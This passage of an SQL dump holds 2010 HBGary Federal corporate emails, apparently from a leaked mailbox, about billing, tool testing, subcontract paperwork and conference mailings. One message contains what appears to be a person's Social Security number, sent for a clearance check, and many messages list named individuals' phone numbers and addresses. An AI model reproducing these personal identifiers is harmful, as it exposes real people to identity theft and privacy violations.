<ted@hbgary.com>','/aaron@hbgary.com/new/1297004316.M732835P14101Q808.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Extra work','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: May 3, 2010 8:24:34 PM MDTTo: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;Subject: Re: Extra work\r\nI meant that Barb had already put these hours into the invoice.On Mon, May 3, 2010 at 7:57 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nGuys, you need to communicate because we are already on the losing side ofthis equation.  Ted, you need to manage Martin&#39;s hours if you use him, you\r\ncan give him a sign on into your system, but this is not cool-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Monday, May 03, 2010 6:56 PM\r\nTo: Penny Leavy-HoglundCc: Martin PillionSubject: Re: Extra work\r\nBarb put these hours in the invoice.\r\nOn May 3, 2010, at 7:54 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\nwrote:Did you let Ted know?  Put it in as HBGary Federal time.  Ted,\r\nplease makesure this was included in your invoice\r\n-----Original Message-----\r\nFrom: Martin Pillion [mailto:martin@hbgary.com]\r\nSent: Monday, May 03, 2010 4:15 PMTo: Penny C. Hoglund\r\nSubject: Extra work\r\nJust a quick question, I worked extra time Saturday and Sunday April24/25 finishing up the Project B work for Ted.  How should I enter\r\nthisin the time system and is it &quot;overtime&quot;?\r\n- Martin\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',1794,'aaron_hbgary_com/1794.html'),(5954,'2010-05-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004316.M948040P14101Q809.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Extra work','I\'m not sure what HBGary\'s overtime policy is, but in this case I\'d\r\nrecommend it be approved.  The reason Martin had to work the weekend\r\nwas because he was asked to teach a last-minute class on Tuesday and\r\nWednesday (I think the one MJ was supposed to teach).\r\n\r\nTed\r\n\r\nOn Mon, May 3, 2010 at 8:46 PM, Ted Vera  wrote:\r\n> These hours were already entered by Martin as HBGary Federal hours in\r\n> his timecard, and Barb included them in the invoice. These hours are\r\n> already accounted for in the latest invoice she created.\r\n>\r\n> I\'m not sure what HBGary\'s overtime\r\n> policy is, Penny can you answer this question?\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On May 3, 2010, at 7:54 PM, Penny Leavy-Hoglund \r\n> wrote:\r\n>\r\n>> Did you let Ted know?  Put it in as HBGary Federal time.  Ted,\r\n>> please make\r\n>> sure this was included in your invoice\r\n>>\r\n>> -----Original Message-----\r\n>> From: Martin Pillion [mailto:martin@hbgary.com]\r\n>> Sent: Monday, May 03, 2010 4:15 PM\r\n>> To: Penny C. Hoglund\r\n>> Subject: Extra work\r\n>>\r\n>>\r\n>> Just a quick question, I worked extra time Saturday and Sunday April\r\n>> 24/25 finishing up the Project B work for Ted.  How should I enter\r\n>> this\r\n>> in the time system and is it \"overtime\"?\r\n>>\r\n>> - Martin\r\n>>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12015,'aaron_hbgary_com/12015.html'),(5955,'2010-05-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004317.M169171P14101Q810.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vista Enterprise','FYI --\r\n\r\nTesting went well for Bill today.  He came across a laptop with Vista\r\nEnterprise (which is not one of our supported OS\'s).  It didn\'t work,\r\nof course and Bill wasn\'t surprised.  It worked great on the other\r\nmachines he tested.  Mark ported the tool to Enterprise 32 and 64 SP2\r\nthis evening, so it should go good during the \"official\" demo next\r\nMonday.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, May 3, 2010 at 8:55 PM\r\nSubject: Vista Enterprise\r\nTo: \"Thompson, Bill M.\" , mark@hbgary.com\r\n\r\n\r\nHi Bill,\r\n\r\nMark has it working and tested on Vista Enterprise 32-bit SP2 and\r\nVista Enterprise 64-bit SP2.\r\nMark can do more testing tomorrow if necessary.  Which version of\r\nEnterprise did you encounter today?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11863,'aaron_hbgary_com/11863.html'),(5956,'2010-05-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004317.M387903P14101Q811.eml','\"Barr Aaron\" <aaron@hbgary.com>','Google Docs','I figured out a way to at least import google docs into pages,\r\nnumbers, and keynote. I haven\'t seen anyone else come up with this\r\nidea, but its working for me.\r\n\r\nOpen google docs in safari. Scroll to bottom and click desktop view.\r\nIt will pop up a warning. Click cont to desktop view.\r\n\r\nClick the checkbox next to the file you want. Click more actions up\r\ntop, then click export. Select doc, xls, or ppt. Once it downloads you\r\ncannot edit it directly in safari, but you can open in pages, numbers\r\nor keynote. Tap on the top and you should see an open in button...\r\n\r\nIt will downloAd the file and import into pages, keynote or numbers.\r\nThen you can edit it. Of course there is no easy way to get it back\r\ninto the cloud...\r\n\r\nTed\r\n',7040,'aaron_hbgary_com/7040.html'),(5957,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004317.M615818P14101Q812.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Google Docs','Dude way to Linux up google Docs.\r\n\r\nSent from my iPad\r\n\r\nOn May 4, 2010, at 2:36 AM, Ted Vera  wrote:\r\n\r\n> I figured out a way to at least import google docs into pages,\r\n> numbers, and keynote. I haven\'t seen anyone else come up with this\r\n> idea, but its working for me.\r\n>\r\n> Open google docs in safari. Scroll to bottom and click desktop view.\r\n> It will pop up a warning. Click cont to desktop view.\r\n>\r\n> Click the checkbox next to the file you want. Click more actions up\r\n> top, then click export. Select doc, xls, or ppt. Once it downloads you\r\n> cannot edit it directly in safari, but you can open in pages, numbers\r\n> or keynote. Tap on the top and you should see an open in button...\r\n>\r\n> It will downloAd the file and import into pages, keynote or numbers.\r\n> Then you can edit it. Of course there is no easy way to get it back\r\n> into the cloud...\r\n>\r\n> Ted\r\n',8624,'aaron_hbgary_com/8624.html'),(5958,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004317.M831952P14101Q813.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Vista Enterprise','Good news.\r\n\r\nSent from my iPad\r\n\r\nOn May 3, 2010, at 11:25 PM, Ted Vera  wrote:\r\n\r\n> FYI --\r\n>\r\n> Testing went well for Bill today.  He came across a laptop with Vista\r\n> Enterprise (which is not one of our supported OS\'s).  It didn\'t work,\r\n> of course and Bill wasn\'t surprised.  It worked great on the other\r\n> machines he tested.  Mark ported the tool to Enterprise 32 and 64 SP2\r\n> this evening, so it should go good during the \"official\" demo next\r\n> Monday.\r\n>\r\n> Ted\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Mon, May 3, 2010 at 8:55 PM\r\n> Subject: Vista Enterprise\r\n> To: \"Thompson, Bill M.\" , mark@hbgary.com\r\n>\r\n>\r\n> Hi Bill,\r\n>\r\n> Mark has it working and tested on Vista Enterprise 32-bit SP2 and\r\n> Vista Enterprise 64-bit SP2.\r\n> Mark can do more testing tomorrow if necessary.  Which version of\r\n> Enterprise did you encounter today?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',13083,'aaron_hbgary_com/13083.html'),(5959,'2010-05-04','\"Palantir Technologies\" <Palantir_Technologies@mail.vresp.com>','/aaron@hbgary.com/new/1297004318.M164208P14101Q814.eml','aaron@hbgary.com','Videos of Palantir Technologies\' 5th Government Conference Presentations Now Available!','\r\n  \r\n  \r\n\r\n	\r\n		\r\n	\r\n	\r\n		\r\n			Videos of the first four presentations at Palantir Technologies&rsquo; 5th Government Conference are now available here!&nbsp; Due to popular demand for these videos, this special preview of presentations has been made available ahead of the rest of the day&rsquo;s content.&nbsp; An announcement will be made shortly on Palantir&rsquo;s analysis blog when the remainder of the conference sessions are available.\r\n		\r\n			The next Palantir Government Conference is coming in October 2010.&nbsp; Details will be available in the coming months.\r\n		\r\n			&nbsp;\r\n		\r\n			Sincerely,\r\n		\r\n			Shyam Sankar\r\n		\r\n			Director, Forward Deployed Engineering\r\n		\r\n			Palantir Technologies\r\n	 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n           Click to view this email in a browser\r\n           \r\n         \r\n       If you no longer wish to receive emails from Palantir Technologies, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Palantir Technologies\r\n        100 Hamilton Ave\r\n        STE 300\r\n        Palo Alto, California 94301\r\n\r\n       \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',7882,'aaron_hbgary_com/7882.html'),(5960,'2010-05-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004318.M440109P14101Q815.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HELP!','I just tried calling Joy and got her voicemail, she\'s a bit frustrated\r\n(see below).\r\n\r\ntv\r\n\r\n---------- Forwarded message ----------\r\nFrom: Williams, Joy T (IS) \r\nDate: Tue, May 4, 2010 at 9:29 AM\r\nSubject: HELP!\r\nTo: Ted Vera \r\n\r\n\r\nOMG!!!! I fucking hate this PLACE!\r\n\r\n\r\n\r\nJoy T Williams\r\n\r\nNorthrop Grumman Information Systems\r\n\r\nNetCentric Information Operations\r\n\r\nDepartment Administrator\r\n\r\n1795 Jet Wing Drive, Suite 200\r\n\r\nColorado Springs, CO 80916\r\n\r\n719-622-5500\r\n\r\nFax:719-622-5101\r\n\r\nEfax: 978-684-3865\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10627,'aaron_hbgary_com/10627.html'),(5961,'2010-05-04','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004318.M803375P14101Q816.eml','aaron@hbgary.com','SIGNAL Webinar Series: Enabling Software-Powered Unified Capabilities Over the IP Cloud','\r\n\r\n\r\n\r\nYou are invited to participate i\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n		Response has been strong for this upcoming live\r\n		SIGNAL webinar.&nbsp;\r\n        Please register today at&nbsp;www.afcea.org/signal/webinar/default.asp\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n			\r\n				\r\n				\r\n					\r\n						\r\n						\r\n					\r\n					\r\n						\r\n						\r\n						\r\n						Enabling Software-Powered \r\n						Unified Capabilities Over the IP Cloud \r\n					\r\n				\r\n				\r\n			\r\n		\r\n		\r\n    \r\n  \r\n\r\n\r\n  \r\n  \r\n    \r\n      \r\n\r\n\r\n	\r\n		\r\n		Thursday, \r\n		May 20th, 2010\r\n		12:00 p.m. EDT / 9:00 a.m. PDT\r\n		\r\n		CLICK HERE TO REGISTER\r\n		for this FREE live web broadcast\r\n		\r\n			\r\n				\r\n					\r\n		\r\n		\r\n		\r\n				\r\n			\r\n			The \r\n			emergence of Unified Capabilities software platforms has brought \r\n			about a need for new telecommunications products to bridge next \r\n			generation voice/messaging products to legacy voice and video \r\n			systems. \r\n			\r\n			Assured Services – SIP (AS-SIP) technology provides the ability to \r\n			seamlessly move from these new real-time services platforms to the \r\n			existing technology that is installed in the DOD while still \r\n			allowing mission critical features like MLPP to exist over the IP \r\n			cloud. V.150 Universal Modem Relay further enhances this capability \r\n			adding Secure IP instruments, like the Sectéra® \r\n			vIPer™, to communicate with legacy FNBDT devices, like the STE. For \r\n			tactical users, these communications have to take place in locations \r\n			with severely limited bandwidth. These bandwidth restrictions can \r\n			only be overcome with efficient frame packing techniques to squeeze \r\n			the maximum efficiency out of the IP environment.\r\n			\r\n			Key points to be \r\n			discussed in this session include:\r\n			\r\n				\r\n				\r\n				Overview of emerging real-time capabilities and collaboration \r\n				platforms\r\n				\r\n				\r\n				Assured Services SIP as a gateway technology\r\n				\r\n				MLPP \r\n				over IP, providing mission critical voice over \r\n				the IP cloud\r\n				\r\n				New \r\n				Secure IP devices and how they work with \r\n				existing secure devices\r\n				\r\n				\r\n				Real-time services over limited, error prone or \r\n				high-delay connections\r\n			\r\n		\r\n		\r\n		\r\n		\r\n&nbsp;\r\n			\r\n				&nbsp;MODERATOR:\r\n				\r\n				\r\n				&nbsp;Bob Ackerman, \r\n				\r\n&nbsp;Editor in Chief, \r\n&nbsp;SIGNAL Magazine\r\n				&nbsp;SPEAKERS:\r\n				\r\n				\r\n				\r\n				&nbsp;Brad Chalker,\r\n				\r\n				&nbsp;Director of Technical Marketing \r\n&nbsp;for N.E.T. Federal\r\n				\r\n&nbsp;Kevin Isacks,\r\n				\r\n&nbsp;Director of Product Management \r\n&nbsp;for N.E.T.\r\n				\r\n&nbsp;Rich Strand,\r\n				\r\n&nbsp;Senior Systems Engineer \r\n&nbsp;for N.E.T. Federal\r\n				&nbsp;WHO \r\n				SHOULD ATTEND:\r\n				&nbsp;Professionals \r\n				in the \r\n&nbsp;following fields:\r\n				&nbsp;4Network \r\n				Engineer\r\n				&nbsp;4Network \r\n				Program Manager\r\n				&nbsp;4Voice \r\n				Communications \r\n&nbsp;&nbsp;&nbsp;&nbsp; Engineer\r\n				&nbsp;4Tactical \r\n				Network Engineer \r\n				&nbsp;4Communications \r\n				Specialist\r\n			\r\n		\r\n		\r\n	\r\n\r\n		\r\n		\r\n    \r\n    \r\n	\r\n	\r\n		\r\n		\r\n			\r\n				\r\n				\r\n				CLICK HERE to \r\nregister!&nbsp;&nbsp;www.afcea.org/signal/webinar/default.asp\r\n			\r\n		\r\n		\r\n\r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org		\r\n		\r\n		\r\n		\r\n	\r\n\r\n\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14538,'aaron_hbgary_com/14538.html'),(5962,'2010-05-04','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004319.M339567P14101Q818.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking on your clearance','You\'re good through December.  :)  See you Thur at 0900.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 11:40 AM\r\nTo: Lachow, Irving Mr OSD ATL\r\nSubject: Re: Checking on your clearance\r\n\r\n534783155\r\n\r\nOn May 3, 2010, at 11:39 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n\r\n	Can you send me your SSN?\r\n\r\n	Thanks,\r\n\r\n	Irv\r\n\r\n	Irving Lachow, Ph.D.\r\n\r\n	Director, Cyber Programs\r\n\r\n	Special Capabilities Office\r\n\r\n	NIPR: irving.lachow@osd.mil\r\n\r\n	SIPR: irving.lachow@osd.smil.mil\r\n\r\n	JWICS: irving.lachow@osdj.ic.gov\r\n\r\n	Office:  (703) 746-1226\r\n\r\n	Cell:  (202) 556-0591\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11448,'aaron_hbgary_com/11448.html'),(5963,'2010-05-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004319.M565454P14101Q819.eml','all@hbgary.com','Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you provide training and incur expenses, these need to go\r\nto Jim for approval and for designation.&nbsp; We provide training under\r\ncontract for DHS, which is different, than providing training for our\r\ncustomers.\r\n\r\n&nbsp;\r\n\r\nWe need to invoice DHS in a specific way and Jim is the go\r\nto person\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4261,'aaron_hbgary_com/4261.html'),(5964,'2010-05-04','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004319.M74219P14101Q817.eml','aaron@hbgary.com','May 18-19 AFCEA Critical Issues in C4I Conference','AFCEA SOLUTIONS Series - George Mason University Symposium\r\n\r\n*** CRITICAL ISSUES IN C4I ***\r\n\r\nMay 18-19, 2010\r\n\r\nGeorge Mason University, Fairfax, VA \r\n\r\nhttp://www.afceasolutions.org\r\n\r\nCONFIRMED PLENARY SPEAKERS:\r\n--------------------------------------\r\n* VADM NANCY BROWN, USN (ret)\r\n* Dr. VINTON CERF, Vice President & Chief Internet Evangelist, Google, Inc.\r\n* Ms. DAWN MEYERRIECKS, Dep. Dir. of National Intel. for Acquisition and Technology, ODNI\r\n* LTG DENNIS VIA, USA, J6, The Joint Staff\r\n* Mr. DAVID WENNERGREN, DASD for Info. Mgmt. and Technology & DoD Deputy CIO\r\n\r\nFEATURED CONFIRMED PANELISTS:\r\n-----------------------------------------\r\n* Ms. MARIANNE BAILEY, Dir of the Joint DoD/IC Unified Cross Domain Management Office\r\n* Mr. EDMON BEGOLI, Researcher, Oak Ridge National Labs\r\n* Mr. GARY BLISS, Dir of Performance Assessments & Root Cause Analyses, OUSD for AT&L\r\n* Mr. BILL CRYAN, Chief, Collaborative Information Environment Management Office, JFCOM\r\n* Mr. TIM HARP, Dep Assistant Secretary of Defense for C4ISR/Information Technology Acq.\r\n* Mr. BILL MARION, Chief Technology Officer, Air Combat Command (ACC/A6)\r\n* Mr. PETE O\'DELL, Founder, Swan Island Networks\r\n* Mr. BRIAN ROACH, Vice President, Juniper Networks\r\n\r\nThis combined SOLUTIONS Series/GMU C4I event will address many key challenges in the C4I space. In addition to a strong lineup of plenary speakers the conference will run two concurrent tracks. The SOLUTIONS Series track will take on the policy and operational issues surrounding the C4I space, while the GMU C4I Center track will dive deep into a rich set of specific technology topics. \r\n\r\nSESSION TOPICS INCLUDE: \r\n-------------------------------\r\n- Situational and Domain Awareness \r\n- Controlled Unclassified Information \r\n- Streamlining Certification/Accreditation \r\n- New Emerging Technologies \r\n- Counter-IED Initiatives \r\n- Acquisition of C4I Systems \r\n\r\nYour registration includes the joint plenary sessions, access to two parallel tracks, continental breakfasts, lunches, and snack breaks.\r\n\r\nJoin the SOLUTIONS Series Patron Program -- a great opportunity to receive enhanced corporate visibility both before and during the events. Contact Maureen Cirrito (mcirrito@afcea.org) for information.  \r\n\r\nLimited tabletop exhibit space available. Contact Scott Amos (samos@afcea.org) for details.  \r\n\r\nQuestions? - Contact Scott Amos at solutions@afcea.org\r\n\r\nhttp://www.afceasolutions.org\r\n\r\n\r\n\r\n',10545,'aaron_hbgary_com/10545.html'),(5965,'2010-05-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004319.M805540P14101Q820.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: Google Alert - hbgary','Begin forwarded message:From: Google Alerts &lt;googlealerts-noreply@google.com&gt;\r\nDate: May 4, 2010 1:01:23 PM MDTTo: ted@hbgary.comSubject: Google Alert - hbgary\r\n\r\nGoogle News Alert for: hbgary\r\n\r\n\r\nHBGary Unveils Active Defense For Detecting Unknown Malware ...\r\nDark Reading\r\nWith Active Defense, customers can conduct incident response on thousands of machines quickly,” said Penny Leavy, president of HBGary, Inc. To better ...\r\nTip: Use a minus sign (-) in front of terms in your query that you want to exclude. Learn more.\r\n \r\nRemove this alert.\r\n Create another alert.\r\nManage your alerts.\r\n\r\n\r\n',10982,'aaron_hbgary_com/10982.html'),(5966,'2010-05-04','\"Edna Robinson\" <erobinson6@csc.com>','/aaron@hbgary.com/new/1297004322.M421968P14101Q821.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: CTSC - Documents','\r\nGood Afternoon Aaron,\r\n\r\nPer the discussions that CSC has had regarding the Cyber Technology Services\r\nContract (CTSC) opportunity, attached is a “Draft Memorandum of Understanding”\r\nfor your review and response. &nbsp; We value the capabilities and\r\nservices that you bring and look forward to working together in winning\r\nthis important work. \r\n\r\n\r\n\r\n\r\nIn addition to the MOU, the following\r\ndocuments are also required.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease review, update, and return the\r\nrequired documents at your earliest convenience.\r\n\r\nIf you have any questions, please do not\r\nhesitate to ask.\r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nEdna Robinson/USA/CSC\r\n\r\nTo:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nCc:\r\nPaul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n\r\nDate:\r\n04/26/2010 01:58 PM\r\n\r\nSubject:\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\nAaron,\r\n\r\nPlease find the CTSC NDA full executed.\r\n\r\n[attachment &quot;CTSC Non-Disclosure\r\nAgreement. - HB Gray.pdf&quot; deleted by Edna Robinson/USA/CSC] \r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nEdna Robinson/USA/CSC@CSC\r\n\r\nDate:\r\n04/26/2010 11:09 AM\r\n\r\nSubject:\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\nAaron\r\n[attachment &quot;CSC CTSC NDA_0_20100426_1107.pdf&quot;\r\ndeleted by Edna Robinson/USA/CSC] \r\n\r\nOn Apr 21, 2010, at 10:10 AM, Edna Robinson wrote:\r\n\r\n\r\nGood Morning Aaron, \r\n\r\nLet me know if you can open this one. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/21/2010 09:28 AM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\nHi Edna, \r\n\r\nCould you resend this document. &nbsp;I am getting a corruption error.\r\n&nbsp;It might be on my end, I am on a Mac. \r\n\r\nThank you, \r\nAaron \r\n\r\nOn Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n\r\n\r\nGood Afternoon Mr. Aron, \r\n\r\nPlease sign an return the attached Non Disclosure agreement at your earliest\r\nconvenience so that it may be Fully Executed prior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.&lt;CTSC Non-Disclosure Agreement.doc&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n&lt;CTSC Non-Disclosure Agreement.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',11144,'aaron_hbgary_com/11144.html'),(5967,'2010-05-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004322.M822730P14101Q822.eml','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>,\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','Staffing Projections','Hi John,\r\n\r\nAttached is our HBGary Federal Staffing projections for 2010.\r\n\r\nTed\r\n',5067,'aaron_hbgary_com/5067.html'),(5968,'2010-05-04','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004323.M261482P14101Q824.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Badge','That\'s why I like being around you.  Stuff happens.  \r\n\r\nGlad we had a chance to talk today.  I think some good decisions were\r\nmade.\r\n\r\nTalk to you soon,\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 04, 2010 3:54 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Badge\r\n\r\nGot it back today.  I also ran in to Al, Ray, and Wood.  Ray said he\r\nis going in to see the div chief tomorrow.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n',8784,'aaron_hbgary_com/8784.html'),(5969,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004323.M482433P14101Q825.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Badge','Now he is just stroking my ego.  Should I tell him that not necessarily always happens in the best way.AaronSent from my iPadBegin forwarded message:\r\nFrom: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;Date: May 4, 2010 3:55:40 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: BadgeThat&#39;s why I like being around you.  Stuff happens.  Glad we had a chance to talk today.  I think some good decisions were\r\nmade.Talk to you soon,Chris -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 04, 2010 3:54 PMTo: Clair, Chris (TASC)Subject: BadgeGot it back today.  I also ran in to Al, Ray, and Wood.  Ray said he\r\nis going in to see the div chief tomorrow.Thanks,AaronSent from my 